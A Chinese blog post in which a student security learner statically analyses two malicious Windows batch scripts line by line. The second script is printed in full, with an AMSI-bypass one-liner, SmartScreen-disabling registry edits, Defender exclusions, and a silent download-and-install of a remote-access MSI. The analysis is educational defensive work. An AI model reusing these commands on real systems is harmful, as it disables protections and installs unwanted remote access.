恶意脚本分析篇)
大家好你们可以叫我凌是个16岁的网络安全学习者。最近我在想如果就这么草草结束了 Windows 命令提示符(CMD) 的学习并没有什么意思。于是我特地准备了几个硬核的东西我在 MalwareBazaar 上下载了几个轻量级的恶意 .bat 文件无任何混淆技术处理今天就和各位一起来静态分析下。【郑重说明 · 安全免责声明】本文系《Windows命令提示符(CMD)恶意脚本分析篇》的技术分享旨在提升网络安全学习者的代码审计与系统防御能力。1. 样本来源与使用边界本文分析的恶意脚本样本.bat均来源于公开的威胁情报平台 MalwareBazaar下载目的仅限于教育研究与静态代码逻辑剖析。2. 严正声明核心准则本人郑重承诺本文所有分析工作严格局限于代码层面的静态文本阅读绝未在任何物理机、虚拟机或沙箱环境中执行、触发或调试Debug这些脚本文件。所有代码片段的展示均以“文本字符”形式呈现不构成任何形式的攻击载荷交付。3. 脱敏与安全防护为防范无意识误触文中所有涉及恶意域名、IP地址、注册表修改项及敏感下载链接的部分均已进行字符混淆或阻断处理如将 http:// 替换为 hxxp:// 或将特定字符替换为 [.]。请读者在阅读时保持安全意识切勿复制文中代码直接在真实环境中运行。4. 法律合规与责任豁免本文严格遵守《中华人民共和国网络安全法》及《计算机病毒防治管理办法》的相关规定。所有技术解析仅用于抵御同类威胁严禁任何组织或个人利用文中技术手段从事非法活动。因不当使用本文代码所引发的一切法律后果均由行为实施者自行承担与本文作者及发布平台无关。特别提示 安全学习始于敬畏。静态分析看“术”防御意识在“心”。请务必将分析环境与宿主机进行物理隔离且分析完毕后及时销毁样本文件。普通样本分析我们先看第一个样本SHA2566b8d7f6cc333d2e89b45821a83f7d2029e8a6cdcb0c92ec1e577dd2158cfa0e9echo off title Intel Graphic Driver setlocal set MINGW_ROOT%~dp0mingw64 set PATH%MINGW_ROOT%\bin;%PATH% if not exist %MINGW_ROOT%\bin\g.exe ( pause exit /b 1 ) g -O2 Intel(R)_HD_Graphic_Driver.cpp -static-libgcc -static-libstdc -static -lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus -o Intel(R)_HD_Graphic_Driver.exe if %errorlevel% neq 0 ( pause exit /b %errorlevel% ) start Intel(R)_HD_Graphic_Driver.exe timeout /t 2 nul exit代码分析我们先看第一部分代码主要用于伪装与窗口美化。echo off title Intel Graphic Driverecho off 关闭命令回显让窗口不显示命令原文只显示输出结果。title Intel Graphic Driver 把 CMD 窗口的标题栏改成“Intel Graphic Driver”让用户以为这是英特尔官方的驱动安装程序。攻击者意图将窗口标题改成显卡驱动为了让用户放松警惕。接着看第二部分代码主要设置“环境变量”和“搜索路径”。setlocal set MINGW_ROOT%~dp0mingw64 set PATH%MINGW_ROOT%\bin;%PATH%setlocal 开启本地变量环境后面设置的变量只在当前脚本有效不会污染系统的全局环境变量。set MINGW_ROOT%~dp0mingw64 %~dp0 表示当前脚本所在的文件夹路径后面直接拼接 mingw64。如果脚本在 C:\test\那 MINGW_ROOT 就等于 C:\test\mingw64。set PATH...;%PATH% PATH 是 Windows 的环境变量它决定了在 CMD 中输入命令时系统去哪找对应的 .exe。这里把 C:\test\mingw64\bin 插入到 PATH 的最前面这样系统就会优先去那里找 g.exe。攻击者意图他想调用 g 编译器但没有把 mingw64 安装到系统目录而是打包在脚本同一目录下。通过修改 PATH他可以临时“借用”这个编译器。继续看第三部分代码主要是用来检查“工具是否齐全”。if not exist %MINGW_ROOT%\bin\g.exe ( pause exit /b 1 )if not exist xxx 检查xxx文件是否存在。如果 g.exe 不在 mingw64\bin 里说明攻击者的工具包不完整。pause 显示“按任意键继续”让受害者看到报错但攻击者设计这个是为了防止脚本静默失败导致暴露。exit /b 1 退出当前脚本并返回错误码 1。攻击者意图一个周全的攻击者会确保自己的工具链完整如果缺了编译器整个攻击就失败了所以不如直接退出避免后续报错信息暴露更多。接着看第四部分代码这是核心攻击攻击动作。g -O2 Intel(R)_HD_Graphic_Driver.cpp -static-libgcc -static-libstdc -static -lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus -o Intel(R)_HD_Graphic_Driver.exe这行是最关键的这里简单讲下想要详细了解的可以自己额外学习CPP(C)。部分具体内容解释命令gC 编译器平时程序员用它把 .cpp 源码编译成 .exe 程序。源文件Intel(R)_HD_Graphic_Driver.cpp攻击者写的恶意 C 源码里面藏着真正的恶意行为下载木马、键盘记录等。编译参数-O2优化等级让生成的 .exe 运行更快。-static-libgcc -static-libstdc -static静态链接把 C 运行库打包进 .exe这样目标电脑即使没装 C 运行环境也能运行。-lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus链接 Windows 系统库允许这个程序调用• gdi32绘图功能可做屏幕截图• winhttpHTTP 网络请求可连 C2 服务器• ole32COM 组件可操作 Office 或 WMI• advapi32注册表操作、服务控制• shell32执行程序、快捷方式• gdiplus图像处理输出-o Intel(R)_HD_Graphic_Driver.exe指定生成的可执行文件名为 Intel(R)_HD_Graphic_Driver.exe继续伪装成显卡驱动程序。总结这行代码的作用用攻击者自带的 C 编译器把恶意源码当场编译成一个合法的 Windows 程序然后伪装成显卡驱动。接着看第五部分代码用于编译失败时的处理。if %errorlevel% neq 0 ( pause exit /b %errorlevel% )%errorlevel% 上一条命令g执行后的返回码。0 表示成功非 0 表示失败。neq 0 不等于 0。如果编译出错就进入分支。攻击者意图如果编译失败比如源码有语法错误、缺少头文件脚本就暂停并退出避免运行一个不完整的恶意程序导致暴露。继续第六部分代码用于运行恶意程序并清理start Intel(R)_HD_Graphic_Driver.exe timeout /t 2 nul exitstart 启动一个程序并让它在后台运行。 是窗口标题空作用只是保证参数顺序正确。Intel(R)_HD_Graphic_Driver.exe 上一步刚编译出来的恶意程序。timeout /t 2 nul 等待 2 秒不显示倒计时。让 .exe 有时间启动然后脚本退出。exit 退出批处理脚本整个 CMD 窗口关闭。攻击流程总结如图所示进阶样本分析接下来我们看第二个样本这个样本相比于上个样本功能更多更复杂。SHA25631260c37cc442719ac84540f4159dd9d4738575d2ab05e92c751a9b4b5f9b91becho off setlocal EnableExtensions EnableDelayedExpansion :: :: AMSI BYPASS (Run before PowerShell) :: powershell -WindowStyle Hidden -Command [Ref].Assembly.GetType(System.Management.Automation.AmsiUtils).GetField(amsiInitFailed,NonPublic,Static).SetValue($null,$true) :: :: Auto-elevate to Admin (UAC prompt) :: net session nul 21 if %errorlevel% neq 0 ( powershell -WindowStyle Hidden -Command Start-Process %~f0 -Verb RunAs exit /b ) :: :: Disable Windows SmartScreen :: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f nul 21 reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v EnableSmartScreen /t REG_DWORD /d 0 /f nul 21 :: Restart Explorer to apply taskkill /f /im explorer.exe nul 21 start explorer.exe nul 21 :: :: Add Defender exclusion for TEMP folder :: powershell -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath %TEMP% -ErrorAction SilentlyContinue :: :: Download ScreenConnect MSI from your RDP :: set SC_URLhxxp://xxx/xxx.msi set SC_PATH%TEMP%\WindowsExplorerSupport.msi powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri %SC_URL% -OutFile %SC_PATH% -UseBasicParsing :: Check if download succeeded if not exist %SC_PATH% ( echo [ERROR] Download failed. Exiting. pause exit /b ) :: Remove Mark-of-the-Web powershell -WindowStyle Hidden -Command Unlock-File -Path %SC_PATH% -ErrorAction SilentlyContinue :: Add exclusion for the MSI file powershell -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath %SC_PATH% -ErrorAction SilentlyContinue :: :: Silent MSI installation :: msiexec /i %SC_PATH% /qn /norestart :: Clean up del %SC_PATH% nul 21 exit代码分析我们先来看第一部分代码属于 CMD 脚本的基操。echo off setlocal EnableExtensions EnableDelayedExpansionecho off echo off 关闭命令回显 让这条命令本身也不显示。setlocal EnableExtensions EnableDelayedExpansion • setlocal 开启本地变量环境后面的变量只在脚本内有效。• EnableExtensions 启用 CMD 的高级功能比如 “ for /f ” 的一些参数这个默认开启。• EnableDelayedExpansion 允许在括号 ( ) 内用 !var! 动态读取变量而不是预编译时的 %var%。总结这组命令组合在一起是编写健壮、稳定批处理脚本的“黄金起手式”确保后续代码无回显、变量隔离、且循环内能正确读取变化的数值。接着来看第二部分代码属于AMSI 绕过。目前 powershell 还未学习只需要了解作用即可。powershell -WindowStyle Hidden -Command [Ref].Assembly.GetType(System.Management.Automation.AmsiUtils).GetField(amsiInitFailed,NonPublic,Static).SetValue($null,$true)作用让 Windows 自带的 PowerShell 杀毒扫描接口AMSI“假装坏掉”这样后面再跑 PowerShell 就不会被拦截了。接下来看第三部分代码这串代码主要用来进行提权的。net session nul 21 if %errorlevel% neq 0 ( powershell -WindowStyle Hidden -Command Start-Process %~f0 -Verb RunAs exit /b )net session nul 21内容详细解释net session查看当前计算机上有哪些远程用户正在访问你的共享文件夹。只有管理员权限才能执行成功普通用户执行会直接报错“拒绝访问”。nul标准输出重定向到黑洞不显示任何正常信息。21• 在 CMD 中1 代表标准输出STDOUT2 代表错误输出STDERR。• 21 的意思是“把错误输出2也丢到标准输出1所在的地方”。• 因为前面已经把标准输出1指向了 nul所以错误输出也跟着进了 nul。• 合在一起的效果这条命令不管执行成功还是报错屏幕上什么都看不到完全静默。if %errorlevel% neq 0内容详细解释%errorlevel%上一条命令执行完后的返回码。0 表示成功非 0 表示失败。neqNot EQual不等于。这是 CMD 数值比较的写法等价于编程里的 “!”neq 0如果上一条 “net session” 返回的不是 0意味着当前脚本没有管理员权限括号内内容讲解内容详细解释powershell ... Start-Process %~f0 -Verb RunAs概括用 PowerShell 重新启动当前脚本%~f0并加上“以管理员身份运行”的 flag触发 UAC 弹窗。exit /b退出当前脚本低权限版本。等用户点了 UAC 的“是”高权限版本会重新跑一遍。%~f0 补充讲解- %~dp0是获取脚本所在的文件夹路径不带文件名。- %~f0 是获取当前脚本的完整绝对路径盘符 文件夹 文件名 扩展名。- 这里用 %~f0 是因为 Start-Process 需要一个完整的文件路径来启动。总结用于自动检测当前是否拥有管理员权限如果没有则通过 PowerShell 以隐藏窗口重新以管理员身份运行当前脚本并退出原进程如果已有权限则正常继续执行后续命令。下面是第四部分代码用于关闭 SmartScreen。reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f nul 21 reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v EnableSmartScreen /t REG_DWORD /d 0 /f nul 21参数含义这条命令里的值reg add向注册表写入或修改一个键值。写入两条注册表配置。HKLM\...注册表路径。HKLM HKEY_LOCAL_MACHINE本机配置对所有用户生效。第一条路径是当前版本 Explorer 的设置第二条是组策略路径。/vValue值名称。要修改的键值叫什么名字。SmartScreenEnabled 和 EnableSmartScreen。/tType数据类型。告诉注册表这个值是什么格式。REG_SZ字符串REG_DWORD32位数字。/dData数据。要写入的具体内容。Off 和 0都是“关闭”的意思。/fForce强制。如果键值已存在不询问直接覆盖。加了 /f 就不会弹“是否覆盖”的提示。nul 21把所有输出都丢进黑洞静默执行。让修改注册表时不显示“操作成功”的提示保持隐蔽。总结第一条关闭 Explorer 级别的 SmartScreen第二条从组策略层面锁死防止用户手动重新打开。作用是彻底关闭 Windows 自带的 SmartScreen 安全筛选功能运行可疑程序或下载文件时不再弹出安全警告。静默执行nul 21 屏蔽了所有成功或错误的提示信息。我们接着看第五部分代码作用是重启资源管理器。taskkill /f /im explorer.exe nul 21 start explorer.exe nul 21taskkill /f /im explorer.exe参数含义详细解释taskkill结束一个正在运行的进程。强制结束资源管理器。/fForce强制。不加 /f 的话进程可能因为“拒绝关闭”而结束不了加 /f 直接暴力终止。/imImage Name映像名称指定要结束的进程名而不是 PID。explorer.exe进程名。资源管理器桌面、任务栏、文件管理器。效果桌面会闪烁一下任务栏消失因为 explorer.exe 被杀了。start explorer.exe部分详细解释start启动一个新程序。explorer.exe重新启动资源管理器进程桌面和任务栏恢复。总结有些注册表修改比如 SmartScreen需要资源管理器重启后才能生效不重启的话关闭不会立即应用。所以使用该两行命令进行重启资源管理器。接下来是第六部分用于添加 Defender 排除。powershell -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath %TEMP% -ErrorAction SilentlyContinue总结把 %TEMP% 文件夹加入 Windows Defender 的白名单后面下载到这里的恶意文件不会被扫描和拦截。下面是第七部分用于下载恶意文件。set SC_URLhxxp://xxx/xxx.msi set SC_PATH%TEMP%\WindowsExplorerSupport.msi powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri %SC_URL% -OutFile %SC_PATH% -UseBasicParsing代码解释- set SC_URL... 定义一个变量存着恶意下载链接。- set SC_PATH%TEMP%\WindowsExplorerSupport.msi 定义变量存着下载后的保存路径。%TEMP% 是系统临时文件夹C:\Users\用户名\AppData\Local\Temp伪装成 Windows 更新支持文件。- powershell部分 向那个 URL 发起请求把下载的文件保存到 %SC_PATH%。总结静默下载远程MSI文件到临时目录并伪装成系统文件名。接下来是第八部分用于下载成功检查。if not exist %SC_PATH% ( echo [ERROR] Download failed. Exiting. pause exit /b )代码解释- if not exist 检查文件是否存在。如果不存在进入括号。- %SC_PATH% 用双引号括起来防止路径里有空格导致命令截断。- echo [ERROR]... 打印错误信息。- pause 暂停脚本让用户看到错误信息按任意键才退出。- exit /b 退出当前脚本返回错误码 0。总结检查下载的MSI文件是否存在若不存在则提示错误、暂停并退出。下面是第九部分用于 移除网络标记 以及 再次加白。powershell -WindowStyle Hidden -Command Unlock-File -Path %SC_PATH% -ErrorAction SilentlyContinue powershell -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath %SC_PATH% -ErrorAction SilentlyContinue总结第一句是移除下载文件自带的“来自互联网”标记。如果不移除Windows 运行 MSI 时会弹窗问“你确定要运行来自未知发布者的文件吗”。第二句作用是把刚下载的这个 MSI 文件本身也加入 Defender 白名单双重保险防止被杀。接下来是第十段代码是静默安装 MSI 并清理。msiexec /i %SC_PATH% /qn /norestart del %SC_PATH% nul 21 exitmsiexec /i %SC_PATH% /qn /norestart内容详细解释msiexecWindows 自带的 MSI 安装包执行工具。所有 .msi 文件都是由它来安装的。/iInstall安装。告诉 msiexec 是要安装这个包而不是卸载/x或修复/f。%SC_PATH%要安装的 MSI 文件路径。/qnQuiet No UI完全静默不显示任何界面。用户完全看不到安装进度条毫无感知。/norestart安装完成后不重启电脑。有些 MSI 安装包会强制要求重启加上这个就不重启了。del %SC_PATH% nul 21内容详细解释del删除文件。%SC_PATH%删除刚才下载的 MSI 文件。nul 21静默删除即使文件不存在或被占用也不报错不留下任何痕迹。exit退出脚本CMD 窗口关闭。整个过程结束。总结MSI 静默安装完成后删除安装包最后 exit 返回 msiexec 的退出码。攻击流程总结如图所示这样子Windows命令提示符的内容就算是完成了。接下来将是 PowerShell 的学习我们下次再见。